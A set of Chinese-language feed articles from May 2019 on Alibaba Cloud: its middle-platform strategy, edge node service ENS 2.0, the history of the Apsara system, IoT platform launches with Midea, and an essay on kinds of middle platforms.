
同期的其它几家知名电商企业,依然在采购IBM的框架,甚至从Oracle请来了CTO。随后,这些企业的技术端纷纷在现实磨难中各种崩盘,而且对这种崩溃的弥补,很难得到系统性的提升。

十年后的2018,腾讯、美团、京东等企业,或多或少都放出了中台战略和TO B战略的消息,而云计算也逐渐成为了各家的当红业务线。

当然,还有更多传统企业,在近几年的市场挑战中,逐渐发现了自身原本信息系统建设的滞后性,开始求教于阿里技术团队。

这些事实无不印证着那个判断:阿里并不是多聪明或多奇怪,只是比其它企业提前很多年就遇到了挑战。而现在,大部分企业也走到了那个挑战的门口。

让天下没有难碰的运气

“我们必须承认各种不确定性,利用数据和信息消除它们,而不是采用过去那种来自顶层的设计方式去解决问题。” ——吴军《硅谷之谜》

在采访中,古谦向我们展示了一组术语:VUCA。

这组术语包含四个词,即Volatility(易变性)、Uncertainty(不确定性)、Complexity(复杂性)、Ambiguity(模糊性)。可以充分概括这个商业时代的特征。

企业商业模式的转型,已经从电气时代的30年一个生命周期,到信息化时代的10年,到互联网时代的5年,直至今天DT时代的2~3年的生命周期。

不确定性成为时代主题。生死都是一瞬间,就是这么VUCA。

商业本质从未改变:信息不对称牟利的产品或服务,加上时代机遇,也可以称为运气。而在这个不确定的VUCA时代,机遇变成一个变幻莫测的东西。告别工业时代的“看十年做十年”的战略思维,快速试错和数据智能才是VUCA时代的王道。

这也恰恰是阿里中台能力的价值,阿里的聚划算业务只需要7个人花一个半月就能开发出来,飞猪、钉钉、盒马等商业新物种频繁涌现。很多阿里内部几个人几星期做的事情,放在外部企业中,至少要几十人干半年。哪怕方向错了,从头再来,成本也要低很多。

企业能做的第二件事,就是形成数据的统一,挖掘智能的“石油”。

比如波司登连续两年利润猛増。这其中一大原因,就是利用中台策略,实时监控全国3000多家门店的库存和销售情况,进而降低库存压力和物流成本,提升商品售罄率。

这一升一降间,对于一家销售额数十亿的企业而言,只要物流成本降10%,利润很可能就会多出一两个亿。

一些咨询机构则看得更长远。比如埃森哲、毕马威、德勤纷纷来找阿里云合作,就是希望可以帮助企业数字化转型,并通过数据智能支撑商业决策。

阿里本身也是用机器做决策最多的公司,从阿里小贷,到手淘千人千面,如果没有AI能力,几百人肯定无法运营这个万亿规模平台。

前谷歌云首席科学家李飞飞曾多次说过,云是人工智能落地的最好平台。这也是40%的中国500强企业、近一半中国上市公司、80%中国科技类公司齐聚阿里云的重要原因。

结语

二十年前,在湖畔花园那间漏水的民宅里,这家企业的基因就决定了后来的故事。它的根须在中国经济社会的根须之间。受难于此,也反哺于此。

早于社会十年,阿里遇到巨大困境。也由此筑起了巨大的壁垒,来自别人所未长的见识,和不能承受的痛苦。

变身阿里云智能之后,阿里的苦,要去解决社会的苦,将自己十年来在企业运营和商业实践中总结的方法论和技术架构,打包成产品和商品,赋能整个经济社会。

二十年前,阿里在报纸上发出半个版的招聘广告,那句广告词如今已经成为它的企业文化,“If not now, When? If not me , Who?”(此时此刻,非我莫属)。

疼痛本就是先行者的必然经历。世界在质疑,而你走了过去。

]]>
阿里云发布边缘节点服务2.0,建立“融合、开放、联动”的边缘计算新形态 Mon, 27 May 2019 21:06:17 +0800 “5G时代,边缘计算将发挥更大价值。”阿里云边缘计算技术负责人杨敬宇表示,边缘计算作为5G时代的一项关键技术,未来将成为不可或缺的基础设施之一。那么云的能力是如何深入每个计算场景的?用户如何享受技术红利?阿里云ENS从1.0到2.0时代又完成了怎样的升级蜕变?在刚刚落幕的阿里云峰会北京站-边缘计算专场中,杨敬宇对以上问题做了解答。

一场计算体系架构的巨大革命,需要更多行业玩家进入

在5G和边缘计算到来之后,云、端二体协同向着云边端三体协同去发展,毋庸置疑,这是未来架构的新形态,杨敬宇将整个过程称之为一场计算体系架构的巨大革命。低延迟、大带宽、自定义、高效能、高安全成为了行业颇为关注的几大趋势。

据Gartner预测,2021年将有40%的大型企业在项目中纳入边缘计算原则。而到2022年,边缘计算将成为所有数字业务的必要需求。

而谈到行业,杨敬宇认为目前边缘计算行业玩家大多处在能力供给侧,各家都在基于各自的行业背景和优势,对外拓展边缘计算领域的相关布局,云计算将云服务向外延伸和扩展,运营商网络引入边缘,实现存量网络优化和5G规模商用,设备服务商所在领域支持边缘计算的各类硬件产品。真正的边缘计算要起来,需要更多行业玩家进入,一起碰撞和实践。

阿里云打造边缘计算产品技术矩阵,云的能力深入每个计算场景

边缘计算的布局分为三层,第一层是将分布全球的边缘IDC变化为云基础设施,这个能力可以从云覆盖到用户100公里附近的位置;第二层是MEC,深入到5G通信网络这一层;第三层就是客户侧的边缘计算,通常是放在园区、政企、家庭等客户侧网络。阿里云边缘计算,三层网络层层深入,直至用户的最近一公里。其中有两个产品:

边缘节点服务(ENS)的目标连接最后10公里,是提供在边缘的通用计算平台,有了ENS就可以轻松得到虚拟机、计算、安全等能力,帮助用户业务下沉至运营商侧边缘,有效降低计算时延和成本。

Link IoT Edge可以解决万物的标准化接入问题,是连接最后1公里的物联网边缘计算平台,支持包括函数计算、流式计算、规则计算等计算引擎,还可以和超过10种以上云服务建立连接和协同。

ENS 1.0:迈出一小步,首次将计算推进至100公里边缘

ENS 1.0时代,阿里云激活了覆盖全球的边缘基础设施潜力,第一次将计算推进至100公里的边缘,建立了标准、安全、多租户的边缘基础设施底座。同时,这也是阿里云第一次把飞天技术轻量化落地到大量的边缘节点上,借助飞天十年技术沉淀,实现性能优秀、稳定可靠的边缘计算能力。

这使用户能够快速轻量地开展业务,资源获得效率从月度提升至分钟,显著降低了初期资金投入,让用户能够快速的开展业务,在1.0阶段,阿里云也积累了虎牙直播、三体云、拓课云等大批合作伙伴和业务场景。

挑战与思考:边缘计算不应只是传统IDC的简单迁移!

与此同时,杨敬宇带领的边缘计算团队也陷入思考:“边缘不应只是传统IDC的简单迁移。边缘系统提供基础的网络、计算底座和资源,用户仍然在沿用使用IDC物理机的方式,搭建全套的业务系统、运维系统。边缘平台的能力和数据与用户的应用和运维割裂,客户感知底层的能力不足、运维复杂,问题处置效率低,并未完全享受到云的技术红利。”

“经过持续的实践碰撞,我们坚信未来方向是通过边缘计算往上做,来解决融合、开放、集成、按需的问题,更高层次的赋能用户。各种产业应用发展起来,应用层不应该关心底层细节,不然整个发展会有大的掣肘。”杨敬宇说到。

ENS正式进入2.0时代:融合、开放、联动的边缘计算新形态

在2019年,边缘计算ENS正式进入2.0时代,致力于打造上下联动的基础设施环境。

在ENS 2.0时代,阿里云引入MEC资源,边缘基础设施更包容、易扩展,用户未来进一步下沉至MEC的需求可以无缝覆盖,目标做到10公里,让ENS的计算力充分应用到MEC,充分释放资源红利。

在未来,建立大规模分布式边缘算力融合调度平台,除了虚机,还会融合容器、函数、流式计算等计算形态,消除底层异构差异,无缝支持各类边缘资源,做规模覆盖的通用融合计算平台。

相对于ENS 1.0蜕变

与ENS1.0不同的是,2.0时代我们会打破割裂,让ENS数据和能力与用户的运维系统建立全方位的连接。通过API形式,把更多能力释放出来,让边缘计算应用变得更简单,平台去做底层的事情,用户的运维体系更轻量。实现一键部署、一键升级、一键扩缩容、报警自动响应,上下游互动保障运营体系的稳健性。在付费模式上做到更加灵活弹性,做到真正的轻资产运营,快速部署、按需付费、先用后付,不需要包年锁定资源。

ENS 2.0的典型实践

一、应用部署——秒级的全球分发

之前用户普遍缺乏对遍布全国资源的统一部署能力,或者人肉方式效率低、标准性差,或者需要花大力气自建部署、发布系统。使用ENS 2.0的自定义镜像能力,只需要花一点时间完成自定义镜像的制作,剩下的全国范围资源下发和部署,ENS 2.0自动完成。

二、弹性动态扩容

之前用户使用IDC资源固定、想要扩容缩容,一般需要漫长的商务沟通和建设,现在ENS 2.0提供的弹性和API能力,让用户有能力随时根据业务情况自动扩缩容。

在发布与升级环节,ENS 2.0提供用户业务灰度升级的能力,同时集成阿里云容器K8S,实现基于容器的发布、升级、管控。

三、监控与报警运维

ENS 2.0全方位监控边缘资源的运行状态、网络状态、设备状态,并通过大数据关联矫正实现实时、准确的预警,并通过API实时反馈用户,用户可以基于此实现自动运维、调度、管控等操作,显著降低人力精力消耗。

ENS 2.0是业界首次实现大规模分布式边缘算力调度,通过按需按量、业务镜像化、监控平台化等特性,可以实现用户综合成本降低30%,运维效率提升50%。

赋能、孵化边缘计算的海量场景

目前在ENS的服务平台上,已经在实践承载大量CDN的边缘缓存、边缘调度、边缘分发业务,以及一大批直播平台的边缘收流、合流、互动、弹幕等业务。而现在火热的在线教育、智慧办公、智慧医疗等行业核心依赖的音视频通信技术,也因为其低时延、大连接、大带宽等需求特点,陆续成为使用ENS的重要场景。

在分享的最后,杨敬宇说:“边缘计算是个非常大的领域,我们想通过5G的来临和边缘计算的发展,能够让产业互联网有更大的发展,让我们不曾想、未曾做的事情得以实现。阿里云会以开放、普惠、合作的理念,持续开拓面向未来的边缘服务,期待更多行业合作伙伴与阿里云同行。”


]]>
一朝飞天梦,十年阿里云 Mon, 27 May 2019 21:06:17 +0800 马云曾说,未来不是我们这些互联网公司的天下,但也没有哪个企业能脱离互联网。

通过长时间保持的快速增长,阿里云创造了一项记录,也收获了国内外云计算市场的领先地位。

但是,从高盛预测的数据来看,企业云服务支出占总潜在IT支出的比例,将由2018年的9.5%增长到2021年的15.3%。尤其在中国市场,经济正处在从消费互联网冲击产业互联网的转型期,传统企业转型带来的增长机会空前。是拉开差距,还是被反超,在未来两年内都很容易实现。

各行各业的传统企业,都迫切的需要更优越的IT基础设施,更强的互联网技术能力。而阿里巴巴在不久前的阿里云峰会上,提出要通过升级后的云智能平台解决这部分需求。

阿里远早于其他互联网大厂打造的中台战略,沉淀下的技术能力,过去是阿里云成长的最佳伴侣,今后则将变成一张谁也没有的王牌。正如高盛分析师认为的那样,云计算未来的差异化服务将是只有最头部的玩家才有资格进行的牌局。

阿里巴巴的选择,还是构架基础设施的基因,还是对外赋能的模式。但即使亚马逊阿里们穷尽数十年来积累的优势,依然不可能抹开每年几十亿美金规模的资本输出。毫无疑问这是一场豪赌,但没有玩家会弃权。

借助这场云峰会,牌局之外的我们,也得以提前一窥阿里的手牌有何特性。


高上限

当IOE还是标准IT范式时,阿里已经撞到南墙了。电商业务飞速增长,但传统的IT基础设施想要跟上互联网的热情却捉襟见肘。

更别提电商是最复杂的互联网业务了,交易、支付、商品、会员、购物车、物流等等,说得出的名词,都是一套复杂的系统。

人类从来没有这么大规模的商品交易在网上进行,洪峰流量分分钟就能压倒传统的IT架构。但这事要是问别人,是没解的。因为当时的IT范式,还是把所有的负荷都累加在单一机器的性能上。

没人给答案,就只能自己求解了。阿里开始用新的方式来组织计算能力,用一个自主研发的云计算操作系统,把服务器连成一张大网,这在技术上的名词是“分布式”,而那个云计算操作系统被命名为飞天。

正式因为从开始就选择了自研,阿里云才得以拥抱“高上限”。世界上市场占有率前五的云服务商都是自研。只要是认真对待这个事情,都会投入核心的云操作系统研发。

发展到今天,阿里巴巴有20亿电商产品,每天大概3亿人访问,需要生成无数的专属推荐和交易订单。这其中的数据处理需要两项基本功,处理海量数据的能力和实时处理数据的能力,或许可以理解为类似带宽和延迟的关系。

诸如此类的能力,决定了阿里云超高的能力上限,自研系统的优势展露无遗。纵览全球,认真做云计算的企业,都会忍受着巨大的代价和痛苦,咬牙坚持着自主研发的阵营。至少从成绩上来看,全球前四的企业都在此列。

低门槛

阿里云对未来的展望,是成为“一个互联网技术武装起来的云”。

同理,面向未来的下一代技术也一定是结合互联网技术,在云化IT基础设施上构建的。

IT基础设施沿用多年的传统体系演变成云计算体系,企业采购的对象从“计算机”变成了“计算力”,同样配套适用的技术体系也面临着更新。朝下一代技术出发,工程师们逐渐向新领域转移,这是未来的必然趋势。

未来还有一个趋势,之后十年是互联网的十年,但不是互联网企业的十年。马云自己也说,未来不是我们这些互联网公司的天下,但也没有哪个企业能脱离互联网。企业不论规模大小,都有相似的需求:数字化、互联网化。

阿里云智能升级完成后的第一件事,将是将阿里巴巴的技术跟阿里云的技术完全拉通。阿里将以云智能平台为载体,通过对外输出20年来沉淀出的互联网技术,参与其中。此时的阿里云智能,最大的价值将是能帮助客户降低互联网化的技术门槛。

将阿里巴巴整个集团的技术对外输出,固然有用集团内生技术寻求外在增长的商业诉求,但也的确起到了帮助传统企业降低转型门槛的作用。况且,要把技术从内部沉淀再向外输出,也并不是一件容易事。

从独善其身到兼济天下,阿里一开始或许也并没有想过多少年后要成立一个云智能平台,把自家技术捏成一个个产品,向外输出。言必称平台,多半免不了失败,平台都是在沉淀核心能力时水到渠成出现的。在阿里,一切的起源还是电商。

早期的阿里巴巴有三座电商大烟囱,淘宝天猫1688各自为政。许多同样的功能,都要在三个电商平台各建一次,资金投入和时间成本都大量重复。

在成立阿里云的2009年,共享事业部同时诞生。淘宝和天猫虽然是两种电商模式,但都免不了商品、交易、评价、支付、物流这些功能,共享事业部的任务就是将两个平台中通用的业务功能沉淀,统一建设统一利用。

到2015年,阿里组建中台。此时阿里旗下的业务早已不只是三座电商大烟囱,中台要沉淀是整个集团的数据运营能力、算法能力、调度能力等等。

升级阿里云智能之后,中台战略的成果将通过平台延伸,向全社会开放,触达每一个行业。

阿里内部有时会将中台沉淀出的各种能力看做积木,当商业要素的能力都被中台沉淀为一块块积木,有新的需求出现时,就可以按需对接快速响应。

在升级后的阿里云智能平台上,抽象的积木将全部被做成实实在在的产品。阿里巴巴所用的技术,跟平台上提供的产品完全一样,客户在第一时间就可以用到跟阿里巴巴一模一样的底层。传统企业互联网化的技术门槛,也会无限降低。

做基础

升级之后的阿里云智能,有了中台和达摩院两大助力加持,把降低企业成本和满足企业计算需求这两件事,做到极致。

先说成本。继IT设备采购成本后,企业所需的技术费用也将显著下降。在去年的一次被采访中,张建锋说,“如果阿里收购一家企业,原来这家企业的技术费用需要一个亿,并入阿里后,最多不会超过五千万”。在阿里对外技术输出后,这种成本压缩将不再是“内部权益”。

再说到满足企业计算需求的能力,则更直观的刻在了阿里云智能平台这个名字上。

数据并不是互联网企业的专利,传统的企业、业务一样有很多数据。只是互联网公司有先天的优势,能更好的收集并处理它,而传统企业并没有很好的能力去计算这些数据。如果能将这些数据完全利用起来,任何一家传统公司都能从过去的基于流程,变为基于智能。

之前提过,阿里处理数据有两项绝活,海量和实时。这是因为阿里通过中台,沉淀了从数据的收集、处理、存储的一整套技术。而处理这些数据,也不再是单纯靠庞大的算力,而是在算力的基础上,运用智能化的算法协同处理。

因此,张建锋在这次阿里云峰会上讲,阿里云更别的云大不相同,因为阿里的云上有数据化和智能化。过去,阿里云更专注IaaS层,承担着IT基础设施的角色;如今,阿里云智能还要做智能化的技术基础设施。

无论是哪种基础设施,都与阿里巴巴坚持的商业愿景一致。 “让天下没有难做的生意”,阿里巴巴的基因,就是提供商业基础设施,以参与者的角度赋能行业。

因为自主研发的关系,阿里云一路走来,始终处在遇到问题和解决问题的博弈中。因为没有同行者借鉴,栽了无数跟头才有了今天的规模。这些苦难和挫折,终将化作阿里云飞扬的羽翼,毕竟阿里试错越多,客户踩雷的几率就越小。

如今,阿里已经有了“要在未来一到两年内,将阿里巴巴100%的业务跑到公共云上”的底气,也即将向社会输出新的商业基础设施,过去是电商,现在是云智能。但有一点没变,阿里的基因是为商业“做基础”,而不是掠食,也因此有了“被集成”的说法。

被集成

在张建锋最新的提法里,阿里云智能不是要做每一个行业的解决方案,而是成为每一个行业解决方案里的一部分,坚持“被集成”。

不管是制造业、零售业,还是金融行业等都有自己的特殊情况,也因为各自独特的商业体系需要打磨不同的解决方案,任何一家企业想快速吃透都是不现实的。但是不管哪个行业,未来的解决方案里,一定会有数据化的理念,智能化的理念。

张建锋指出,“阿里云自己不做SaaS,让大家来做更好的SaaS”。

这也以意味着,阿里云正式划清了边界。SaaS由合作伙伴去做,阿里云只做最擅长的部分—基于技术的创新和突破,充当SaaS加速器。

譬如,与埃森哲、毕马威等企业的合作,都是由阿里云带着合作伙伴,合作伙伴再带着自己的客户大家一起玩,共同探索行业升级。

阿里云智能需要的核心竞争力,当然并不是一两句光鲜亮丽的口号,而是需要扎实构建和突破一切核心技术,诸如芯片、操作系统、网络等一切因素都要不断突破和创新。张建锋还有一个身份是阿里达摩院院长,而达摩院本身就是为阿里探索前沿技术储备的先锋军。

最近两年,阿里云的市场依旧高速增长,而且在未来,“以退为进”的被集成战略还将为阿里云带来更多的合作伙伴,和更庞大的客户群体。

但这还远远不够,被集成对阿里云提出了更高的要求、更大的挑战。阿里云只有不断坚持技术研发,不断通过中台沉淀更多产品、不断吸收达摩院的先进技术,才能被合作伙伴集成,一起赋能客户,探索各行各业。

阿里云未来或许会涉猎更广,进入制造流通零售的每个领域,但数据化、智能化技术的核心地位永远不会动摇。

市场研究机构IDC日前公布了2018年上半年全球公有云laaS(基础设施即服务)厂商市场份额数据,阿里云成功跻身前三。清场工作已完成,国际头部玩家未来将会面临更加激烈的直接竞争。

阿里巴巴走到第二十个年头,已经成为了中国互联网界最难被颠覆的公司。

归根结底的原因,还是在于阿里巴巴构建底层商业设施的能力。电商、物流、金融、云服务,阿里巴巴仿佛患上了构建基础设施的强迫症,也这种基因落实到了极致。

阿里云过去的大本营在IaaS,但未来的核心竞争力,一定来源于自身差异化的基础能力,例如数据化智能化。借助云智能平台,阿里巴巴想对外输出的是整个集团改造IT基础设施的能力,互联网技术实力,和处理数据的智能化经验。

这又是一片无人走过的荒原,阿里云甚至找不到同行者。但在互联网的世界里,不论地区和行业,凋零是永恒的话题,只有冒险家才配坐上最终的牌局。

如果可以,谁都想成为通吃一切的那位赢家。

]]>
阿里云六大IoT相关平台公测、升级,联合美的推出定制芯片及智能家电OS平台 Mon, 27 May 2019 21:06:17 +0800 据雷锋网了解,早在2018年3月阿里云栖大会深圳峰会上,阿里巴巴宣布IoT成为阿里继电商、金融、物流、云计算后的第五个主赛道。至此,物联网正式进入阿里的主赛道。

在物联网专场上,首先上台的是阿里云IoT的掌舵人阿里云智能IoT事业部总经理库伟。

“阿里云的物联网布局可以分为云、管、边、端,从南向开始,首先要通过芯片、模组进行打通,在端侧主要有嵌入式操作系统AIiOS Things和边缘计算Link IoT Edge。”库伟谈到。据雷锋网(公众号:雷锋网)了解,端侧升级也是此次物联网专场的重点。

阿里云六大IoT相关平台公测、升级,联合美的推出定制芯片及智能家电OS平台

针对当下云管边端的能力协同,库伟总结为:云上做训练,边缘侧做推理、分析,端侧做执行。

在云侧,阿里云的核心是三个平台、两套体系。物联网平台是我们未来的核心基础设施,物联网平台未来将类似电网一样作为民生基础设施。

六大平台公测、升级

阿里云智能IoT产品总监张宗锋在大会针对视频边缘智能服务、智能单品免开发方案等6大产品3大场景应用,进一步完善了物联网基础设施的能力。

首先是连接生产中的数据,其次要将连接的设备能力服务化,形成系统与系统之间、应用于应用之间的打通,最终通过智能化、通过机器完成相关工作任务。

阿里云六大IoT相关平台公测、升级,联合美的推出定制芯片及智能家电OS平台

因此,IoT的核心价值就是将生产力云化,即服务化、服务化和标准化。阿里云将会通过智能化编程接口的对外开放,与行业合作伙伴共同解决实际场景中的问题。

目前,阿里云智能IoT已经拥有16万+开发者,10000+合作伙伴厂商,15000+应用以解决方案数,1300+对外开放的API。

大会上张宗锋公布了相关平台及产品公测或升级,具体如下:

物联网平台Link Platform虚拟专有云版邀测。该平台可以帮助B端用户快速搭建独立的专有云平台,最高支持5万设备量并发;

物联网平台Link Platform数据分析服务公测发布。可以实现数据管理、数据跨域度分析和GIS/BIM可视化数据展现;

一站式开发平台IoT Studio公测发布。由于物联网产品开发链路较长,阿里云提供一站式开发平台,集成阿里云市场2000+API可供用户调用;

视频边缘智能服务Link Visual 2.0公测发布。阿里云这一平台为云边一体华视频接入和算法容器,支持GB、ONBIG主流协议和私有协议(定制);

物联网网络管理平台LoRaWAN公测发布。对于认证过的设备厂商,只需要与阿里云云端打通、联调就可顺利实现,其他厂商也可以通过购买认证过的模组实现。据官方介绍,3个网关可以实现100平方公里,6万传感器的覆盖能力;

智能生活平台3.0版发布。该版本只需要通过购买认证的模组,可以快速实现发布、复制和交付解决方案,实现免代码开发交付解决方案。

阿里云六大IoT相关平台公测、升级,联合美的推出定制芯片及智能家电OS平台

对于工厂改造而言,首先要带来订单或成本降低。

针对于此,雷锋网也了解到,点石服装有限公司这样百人服装厂如今是支撑起电商订单的最主流的工厂单元,它们的订单有上千件的大单、也有十几件的小单,工厂的生产必须与生产供应链进行有效地匹配,及时完成电商的线上订单,才能为企业赢得更多商业机会。通过阿里云提供的数字工厂,结合非倾入式IoT设备和轻量化管理应用,对产线设备和管理流程几乎零修改的情况下,快速实现工厂的产能数字化,实现线上订单与线下生产的系统对接,极大提高了生产排产效率和订单完成率。

视频边缘智能服务Link Visual 2.0

在边缘计算领域,阿里云此次主要发布了Link Visual 2.0。

阿里云方面表示,该产品即将于今年4月启动邀测,7月正式上线。据介绍,Link Visual自去年10月发布1.0,目前已有近百家摄像头厂家购买产品并开始服务对接工作,多家智能视频服务商也跟进推出了同类产品。

此次发布的2.0版本,首次开放深度学习云边协同能力,形成了视频数据接入、调度,算法模型下发、算法容器、边缘推理、结果上云的闭环,打通从数据、模型、到应用的全链路。

阿里云六大IoT相关平台公测、升级,联合美的推出定制芯片及智能家电OS平台

据悉,Link Visual 2.0将为社区、楼宇、人居、工业和城市五大场景,面向服务方案厂商、设备厂商和算法厂商,提供物理网边缘计算场景提供多种智能射频解决方案。

飞燕平台升级3.0,联合美的推出定制芯片及智能家电OS平台

在2018年深圳云栖大会,阿里云发布了飞燕平台1.0,2018年5月发布飞燕平台2.0,建立3个全球数据中心,目前已经覆盖119品类、2000+SKU、1000+合作品牌。

此次大会上,阿里云正式发布飞燕平台3.0。

阿里云六大IoT相关平台公测、升级,联合美的推出定制芯片及智能家电OS平台

据阿里云智能IoT生活产品总监陈明波介绍,“目前这一平台在云端可以为设备建立物模型,为B端用户建立多语言、云端API等配置能力。目前该平台已经接入天猫精灵,在国外接入亚马逊的Alexa和谷歌的智能语音助手,已经开始对接支付宝、钉钉等小程序。”

另一重磅消息为:阿里云和美的集团宣布达成深度合作,双方联合推出定制芯片及智能家电OS平台。美的智能家电产品将适配AliOS Things的定制芯片,通过阿里云在操作系统及物联网生态的资源优势,进一步提高美的智能家电的用户体验和内容服务。

双方此次首发的智能家电OS平台,是美的物联网操作系统SmartOS和阿里云物联网操作系统AliOS Things的深度融合。AliOS Things具备云端一体、极简开发、丰富组件、安全防护等关键能力。美的融合AliOS Things技术的智能家电OS平台,再搭配定制的智能芯片,可以实现企业更易开发、用户体验提升、生态内容共享的目标。

阿里云联合芯片合作伙伴推出了两款家电行业定制智能芯片:一款是整合了WiFi和BLE的Combo芯片BK7231M,用以提高家电配网成功率;另一款是WiFi SoC芯片ASR5501M,通过高集成度降低硬件设计难度和成本。这两款芯片都已适配AliOS Things,并将逐步应用在后续双方合作的美的智能家电产品中。

此外,阿里官方也表示,截至到今年3月份,搭载AliOS Things的芯片出货量已超过1亿片。

]]>
阿里巴巴的“中台”长啥样? Mon, 27 May 2019 21:06:17 +0800 数据业务双中台

提起中台,绕不开也是最先想到的应该都是阿里巴巴的数据业务双中台。毕竟阿里的“大中台小前台”战略人尽皆知,其威力也是显而易见的。

以阿里这么大的体量,经过了这么多年的厮杀,在互联网快速迭代创新的竞争环境中,仍然可以保持快速迭代创新,上演了一场接一场现实版的大象跳舞,中台战略的成功居功至伟。

摘自《企业核心业务数字化转型最佳实践》

阿里的数据业务双中台堪称经典,上图摘取自钟华(古谦)于刚刚结束的2018云栖大会《企业核心业务数字化转型最佳实践》分享。

从图中可见,阿里中台主要体现为由业务中台和数字中台并肩构成的双中台,并肩扛起了所有前台业务。

业务中台将后台资源进行抽象包装整合,转化为前台友好的可重用共享的核心能力,实现了后端业务资源到前台易用能力的转化。

数据中台从后台及业务中台将数据流入,完成海量数据的存储、计算、产品化包装过程,构成企业的核心数据能力,为前台基于数据的定制化创新和业务中台基于数据反馈的持续演进提供了强大支撑。

业务中台与数据中台相辅相成、互相支撑,一起构建起了战场强大的后方炮火群和雷达阵。

移动中台

同样来自于2018年云栖大会杭州站,在移动研发平台EMAS专场上,阿里巴巴高级技术专家泠茗带来的分享中就为我们揭开了阿里移动中台的面纱。

摘自《数字化转型 移动化先行 云栖大会上发布了哪些移动研发新利器》

可见阿里的移动中台是构建在业务&数据中台之上,为更好更快地利用中台能力、快速迭代移动端产品,又生生地挤出(或是说沉淀)出了一个新的中台层。

移动中台建立在业务数据双中台之上,更靠近移动前端战场,我们可以类比成战场上的坦克群,近距离支撑一线战场。

技术中台

大中台小前台,并不代表前台不重要,相反,大中台的建设就是为了更好地服务好小前台,大中台的威力也需要靠小前台的引导才能真正发挥和体现出来。

就像是深入敌后的前台特种部队如果定位不到敌人的精确位置,就算有再强大的水陆空中台炮火群,也只是一群废铁而已。

大中台小前台战略,其实是给小前台的构建提出了更高的要求,就像我们对于特种兵的要求也比一般的士兵高出很多一样。

如何快速构建出短小精悍、武器精良、战斗力十足的特种兵前台应用,充分发挥和释放出中台炮火群的威力,就需要依靠这里提到的技术中台。

摘自《阿里技术手册-研发篇》

技术中台就是将使用云或其他基础设施的能力以及应用各种技术中间件的能力进行整合和包装。过滤掉技术细节,提供简单一致、易于使用的应用技术基础设施的能力接口,助力前台和业务中台数据中台的快速建设。

如果将业务数据双中台比喻成强大的中台炮火群,可以直接对敌人进行进攻。那技术中台的作用就有些间接,有点像前台特种兵身上各种先进的武器装备。精良易用的武器装备,可以在大幅缩短前台特种兵的建设周期的同时大幅提高单兵作战能力,令敌人胆寒。

研发中台

软件开发是一项工程,涉及到管理、流程、测试、团队协作等方面。如何将企业的开发流程最佳实践沉淀成可重用的“能力”,从而助力创新性应用的快速开发迭代,也是我们看到的很多企业正在做的事情,我们可以管这种关注与开发效能管理的平台叫做研发中台。

如果说技术中台为前台应用提供了基础设施重用的能力,那研发中台就为前台应用提供了流程和质量管控以及持续交付的能力。

摘自《阿里技术手册-研发篇》

上图摘自阿里的技术手册,展示了阿里的效能事业部一直致力于构建的阿里研发效能平台,有兴趣的同学可以去了解一下阿里自家的云效平台。

ThoughtWorks帮助客户打造的DevOps云平台

ThoughtWorks在敏捷与开发效能方面一直走在行业领先,持续总结过去的经验,并基于客户自身的需求和实际情况、结合最新的技术,与客户一起携手成功打造了多个定制化的开发效能平台。

总之,开发效能是构建前中台应用过程中必不可少的重要一环。这方面的实践和能力通过沉淀,结合快速开发框架平台,例如微服务开发平台,就形成了企业的研发中台。

如果将技术中台比喻成前台特种兵的武器装备,那效能中台就是前台特种兵的管理训练基地以及可以快速将战士运送到一线战场的机动运输部队。

组织中台

以上无论是业务中台、数据中台、技术中台、研发中台……都是围绕技术展开的,也是企业在中台建设中最关注的方面。

但真正实际经历过几次企业级中台的建设后,我深刻地体会到:围绕技术展开并不是基于在中台构建中技术的重要性,而是因为技术的改进相对简单。

而中台建设真正困难的是组织上的重构,这往往是大家有意无意避而不谈的。

中台战略的成功、能否实现技术架构与组织架构的匹配,是一道绕不过去、但必须要迈过的门槛。从阿里成立共享事业部,海尔的人单合一、职能并联,到近期大家关注的腾讯的组织架构重构都是这些企业在这方面做出的努力。

举个实际的例子,在很多企业中一个新项目的启动,从筹划到申请经过层层审批和评审短则一两月,多则需要几个月的时间。要知道在当前所处的互联网时代,几个月人家App都上线了。

摘自《释放潜能-平台型组织的进化路线图》

为了真正解决企业创新在组织层面的摩擦和阻力,构建真正的平台型组织,《释放潜能——平台型组织的进化路线图》提出了上图这样一个平台型组织的组织结构。

组织中台很像企业中的内部风投和创新孵化机构,为前台组织和团队构建创新型前台应用提供类似于投资评估(项目甄别)、投资管理、投后管理(孵化与风控),真正从组织和制度上支撑前台组织和应用的快速迭代规模化创新。

知易行难,ThoughtWorks在科技时代精益企业背景下提出的“价值驱动决策”框架并用“EDGE”命名,主要针对如何在市场高速变化时保证投资有效性,即致力于帮助客户在组织上和投资管理上真正的助力创新,也算是在组织中台建设上迈出的一步。

如果还用前边军队的比喻,那组织中台是什么呢?可能你已经想到了,对,就是战场指挥部。

到底中台长啥样?

列举了这么多各式各样的中台,最后都扯到了组织层面,是不是感觉什么东西加个“中台”的后缀都可以靠到中台上来,估计很快就会看到例如AI中台,VR中台,搜索中台,算法中台……对了,算法中台已经有了……

让我们引用一段阿里玄难在接受极客公园采访时提到对于中台的一段我非常认同的描述:

本文中我们一直提到的一个词就是“能力”,从玄难的这段采访也可以看出,在阿里,“能力”也是中台的核心。

甄别是不是中台,还要回到中台要解决的问题上,那是我上篇文章主要关注的问题。我认为一切以“以用户为中心的持续规模化创新”为目的,将后台各式各样的资源转化为前台易于使用的能力,帮助我们打赢这场以用户为中心的战争的平台,我们都可以称之为中台:

1,业务中台提供重用服务,例如用户中心,订单中心之类的开箱即用可重用能力,为战场提供了强大的后台炮火支援能力,随叫随到,威力强大;

2,数据中台提供了数据分析能力,帮助我们从数据中学习改进,调整方向,为战场提供了强大及时的雷达监测能力,帮助我们掌控战场;

3,移动及算法中台提供了战场一线火力支援能力,帮助我们提供更加个性化的服务,增强用户体验,为战场提供了陆军支援能力,随机应变,所向披靡;

4,技术中台提供了自建系统部分的技术支撑能力,帮助我们解决了基础设施,分布式数据库等底层技术问题,为前台特种兵提供了精良的武器装备;

5,研发中台提供了自建系统部分的管理和技术实践支撑能力,帮助我们快速搭建项目,管理进度,测试,持续集成,持续交付,是前台特种兵的训练基地及快速送达战场的机动运输部队;

6,组织中台为我们的项目提供投资管理、风险管理、资源调度等,是战场的指挥部,战争的大脑,指挥前线,调度后方。

所以,评判一个平台是否称得上中台,最终评判标准不是技术也不是长什么模样,最终还是得前台说了算,毕竟前台才是战争的关键,才是感受得到战场的残酷、看得见用户的那部分人。

中台好不好用,中台帮了前台多大的忙,前台想不想用、爱不爱用中台,从中台获得了多大的好处,愿意掏出多少利润来帮助建设中台,这才是甄别中台建设对错好坏的唯一标准。

